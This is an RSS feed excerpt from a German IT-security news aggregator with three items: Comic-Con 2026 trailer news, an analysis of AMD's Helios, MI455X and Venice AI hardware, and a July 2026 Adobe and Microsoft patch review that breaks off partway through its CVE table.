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<title><![CDATA[Comic-Con 2026 Debuts Trailers for 'Coyote vs Acme' Movie, Plus 'Neuromancer' and 'Blade Runner 2099' Series]]></title>
<description><![CDATA[Big news from Comic-Con 2026:

"Coyote vs. ACME" debuted its long-awaited final trailer. CNET calls it "an animation-meets-live-action story," with the Coyote catapulting into theaters this August 28. (The film began development back in 2018, but was shelved for a tax write-off in 2023 by Warner ...]]></description>
<link>https://tsecurity.de/de/3695323/it-security-nachrichten/comic-con-2026-debuts-trailers-for-coyote-vs-acme-movie-plus-neuromancer-and-blade-runner-2099-series/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695323/it-security-nachrichten/comic-con-2026-debuts-trailers-for-coyote-vs-acme-movie-plus-neuromancer-and-blade-runner-2099-series/</guid>
<pubDate>Sun, 26 Jul 2026 10:01:17 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Big news from Comic-Con 2026:

"Coyote vs. ACME" debuted its long-awaited final trailer. CNET calls it "an animation-meets-live-action story," with the Coyote catapulting into theaters this August 28. (The film began development back in 2018, but was shelved for a tax write-off in 2023 by Warner Bros. until a backlash led to its sale to Ketchup Entertainment.) "Fed up with Acme's unreliable products, Wile E. Coyote decides to hire a lawyer and sue the company..." writes CNET. "The movie also features Lana Condor along with a host of Looney Tunes characters like Porky Pig, Tweety, Foghorn Leghorn and Granny (who gets dinged by an anvil)."
In other movie news, CNET says Johnny Depp also "made a surprise appearance at Comic-Con, donning a costume as Ebenezer Scrooge" to promote his November 13 movie about the miser from Charles Dickens' famous Christmas novella. (Ian McKellen and Daisy Ridley are also in the movie.)


But several geek favorites are being filmed as TV series...

 There's big news for William Gibson fans, reports Entertainment Weekly. "Two years after Apple TV announced production on the first-ever series adaptation of William Gibson's seminal 1984 novel Neuromancer, the lucky few hundred who attended the studio's Hall H panel at Comic-Con 2026 got to watch the first teaser. 

For Amazon's Prime Video, the Tolkien-derived "Rings of Power" series released a season 3 trailer that CNET said "successfully hides the best parts with fire... The trailer suggests that Sauron is building an army, and all of Middle-earth is trying to find ways to stop him... Rings of Power season 3 will start dropping weekly episodes on Nov. 11, meaning this show will be airing at the same time the Peter Jackson films will be celebrating their 25th anniversary."
Later in November Amazon's Prime Video will also debut Blade Runner 2099, an eight-episode series that's a sequel to 2017's film Blade Runner 2049, reports CNET. "Set in an alternate version of LA where replicants run things and the humans play second fiddle, the series sees Yeoh's replicant Olwen chasing down outlaw replicants who've gone missing. With her own shelf life on a ticking clock, the stakes are high for her and for her human fugitive partner, Cora..."
Paramount Plus will debut Avatar: Seven Havens in October, a new animated series from the creators of Avatar: The Last Airbender which CNET says "follows a pair of twin avatars, one of whom is Korra's successor."

Disney+ has season 3 of Percy Jackson and the Olympians.
Kevin Feige said Marvel's television slate will include more seasons of "X-Men '97" and the upcoming "VisionQuest" TV series.
HBO Max will launch a new Green Lantern series called Lanterns on August 16.
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</div><p><a href="https://entertainment.slashdot.org/story/26/07/26/038200/comic-con-2026-debuts-trailers-for-coyote-vs-acme-movie-plus-neuromancer-and-blade-runner-2099-series?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[AMD raises the AI stakes with Helios, Venice and robotics]]></title>
<description><![CDATA[AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scal...]]></description>
<link>https://tsecurity.de/de/3694768/ai-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694768/ai-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:07 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.</p>



<p class="wp-block-paragraph">AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its <a href="https://www.amd.com/en/products/rackscale-solutions/helios.html" target="_blank" rel="noreferrer noopener">Helios AI platform</a> is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).</p>



<p class="wp-block-paragraph">The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.  </p>



<h2 class="wp-block-heading">AMD’s MI455X targets the AI memory wall</h2>



<p class="wp-block-paragraph">The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.</p>



<p class="wp-block-paragraph">Compared to AMD’s current MI355X, <a href="https://hothardware.com/news/instinct-mi400-challenge-vera-rubin" target="_blank" rel="noreferrer noopener">the MI455X offers</a> 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.</p>



<p class="wp-block-paragraph">AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-generational-leap.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Instinct chart showing generational leap in performance" class="wp-image-4200600" width="1024" height="547" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.</p>



<p class="wp-block-paragraph">The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.</p>



<h2 class="wp-block-heading">AMD’s Helios rack takes aim at Vera Rubin</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-helios-rack.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Helios rack" class="wp-image-4200601" width="1024" height="626" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Dave Altavilla</p></div>



<p class="wp-block-paragraph">Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.</p>



<p class="wp-block-paragraph">In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.</p>



<p class="wp-block-paragraph">These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.</p>



<p class="wp-block-paragraph">AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.</p>



<p class="wp-block-paragraph">While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.</p>



<p class="wp-block-paragraph">Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.</p>



<h2 class="wp-block-heading">Kind of like cowbell, AMD Venice gives agentic AI more CPU</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-epyc-venice-cpus.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Chart showing AMD EPYC CPU performance" class="wp-image-4200603" width="1024" height="515" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.</p>



<p class="wp-block-paragraph">Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.</p>



<p class="wp-block-paragraph">Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.</p>



<h2 class="wp-block-heading">Pensando networking and ROCm software advance</h2>



<p class="wp-block-paragraph">Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.</p>



<p class="wp-block-paragraph">As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.</p>



<p class="wp-block-paragraph">On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.</p>



<p class="wp-block-paragraph">These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.</p>



<h2 class="wp-block-heading">Customer commitments underscore rack-scale confidence</h2>



<p class="wp-block-paragraph">AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.</p>



<p class="wp-block-paragraph">Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, <a href="https://ir.amd.com/news-events/press-releases/detail/1292/amd-and-anthropic-announce-strategic-partnership-to-deploy-up-to-2-gigawatts-of-amd-instinct-mi450-series-gpus" target="_blank" rel="noreferrer noopener">Anthropic announced</a> a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.</p>



<p class="wp-block-paragraph">Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.</p>



<p class="wp-block-paragraph">There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.</p>



<h2 class="wp-block-heading">AMD expands its robotics and embedded foundation</h2>



<p class="wp-block-paragraph">AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.</p>



<p class="wp-block-paragraph">The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.</p>



<p class="wp-block-paragraph">Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.</p>



<h2 class="wp-block-heading">Execution for AMD is now the test</h2>



<p class="wp-block-paragraph">AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.</p>



<p class="wp-block-paragraph">AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.</p>



<p class="wp-block-paragraph">As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.computerworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The July 2026 Security Update Review]]></title>
<description><![CDATA[Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly...]]></description>
<link>https://tsecurity.de/de/3694560/hacking/the-july-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694560/hacking/the-july-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:51 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for July 2026</strong></p><p class="">Adobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I’ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We’ll see if other vendors follow their lead.</p><p class="">For the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-82.html" target="_blank">APSB26-82</a></td>
    <td>Adobe ColdFusion</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.9</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/magento/apsb26-73.html" target="_blank">APSB26-73</a></td>
    <td>Adobe Commerce</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/after_effects/apsb26-78.html" target="_blank">APSB26-78</a></td>
    <td>Adobe After Effects</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/animate/apsb26-83.html" target="_blank">APSB26-83</a></td>
    <td>Adobe Animate</td>
    <td>6</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/audition/apsb26-71.html" target="_blank">APSB26-71</a></td>
    <td>Adobe Audition</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/bridge/apsb26-81.html" target="_blank">APSB26-81</a></td>
    <td>Adobe Bridge</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/creative-cloud/apsb26-77.html" target="_blank">APSB26-77</a></td>
    <td>Adobe Creative Cloud Desktop Application</td>
    <td>2</td>
    <td>Critical</td>
    <td>8.1</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-74.html" target="_blank">APSB26-74</a></td>
    <td>Adobe Experience Manager</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-79.html" target="_blank">APSB26-79</a></td>
    <td>Adobe Illustrator</td>
    <td>5</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/media-encoder/apsb26-72.html" target="_blank">APSB26-72</a></td>
    <td>Adobe Media Encoder</td>
    <td>5</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/premiere_pro/apsb26-76.html" target="_blank">APSB26-76</a></td>
    <td>Adobe Premiere Pro</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-80.html" target="_blank">APSB26-80</a></td>
    <td>Content Credentials SDK</td>
    <td>12</td>
    <td>Critical</td>
    <td>8.2</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>12 bulletins</td>
    <td>88</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">While nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you’re using these products, patch them. However, you can use you regular patch cadence here. </p><p class=""><strong>Microsoft Patches for July 2026</strong></p><p class="">Here it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone’s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won’t cover here. Here’s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years’ totals.</p>





















  
  














































  

    
  
    

      

      
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  <p class="">The products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase “Windows components” does some pretty heavy lifting here, too, as just about everything you’ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.</p><p class="">So how do we eat this elephant? One byte at a time (pun intended). Let’s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155"><strong>CVE-2026-56155</strong></a><strong> - Active Directory Federation Services Elevation of Privilege Vulnerability<br></strong>This is one of several AD FS being patched this month, but it’s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56154"><strong>CVE-2026-56164</strong></a><strong> - Microsoft SharePoint Server Elevation of Privilege Vulnerability<br></strong>The other bug being exploited in the wild this month is a modest CVSS 5.3 – but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092"><strong>CVE-2026-57092</strong></a><strong> - Microsoft Windows VMSwitch Elevation of Privilege Vulnerability<br></strong>This patch rates the highest CVSS score for the month: a solid 9.9. It’s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn’t alone. If you’re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522"><strong>CVE-2026-50522</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><strong>58644</strong></a><strong> - Microsoft SharePoint Remote Code Execution Vulnerability<br></strong>This matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during <a href="https://www.zerodayinitiative.com/blog/2026/5/16/pwn2own-berlin-2026-day-three-results-and-master-of-pwn">Pwn2Own Berlin</a>, so it’s odd to see Microsoft list it as “Exploit Maturity Unknown” since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56190"><strong>CVE-2026-56190</strong></a><strong> - Remote Desktop Protocol Remote Code Execution Vulnerability</strong><br> This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008"><strong>CVE-2026-55008</strong></a><strong> - Microsoft Exchange Server Spoofing Vulnerability<br></strong>Ignore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it’s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session — no attachment needed, no macro warning, just viewing the message does it. If you’re using OWA, test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518"><strong>CVE-2026-50518</strong></a><strong> - Windows DHCP Server Remote Code Execution Vulnerability<br></strong>There are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188"><strong>CVE-2026-56188</strong></a><strong> - Windows Server Network driver Remote Code Execution Vulnerability<br></strong>Another Critical-rated bug, this one is caused by a race condition. It’s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don’t let the race condition lull you to sleep on a wormable bug.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010"><strong>CVE-2026-55010</strong></a><strong> - Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability<br></strong>File this in the “why not” category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid’s Minecraft server (it is your kid’s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.</p><p class="">Here’s the full list of CVEs released by Microsoft for July 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026-Jul-cvrf.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="920">
 <col width="144">
 <col width="256">
 <col width="104" span="5">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155"><span>CVE-2026-56155</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl70">Yes</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164"><span>CVE-2026-56164</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl70">Yes</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661"><span>CVE-2026-50661</span></a></td>
  <td width="256" class="xl74">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl70">Yes</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121"><span>CVE-2026-54121</span></a></td>
  <td width="256" class="xl74">Active Directory
  Certificate Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45499"><span>CVE-2026-45499 **</span></a></td>
  <td width="256" class="xl74">Azure OpenAI Elevation
  of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48564"><span>CVE-2026-48564</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50370"><span>CVE-2026-50370</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
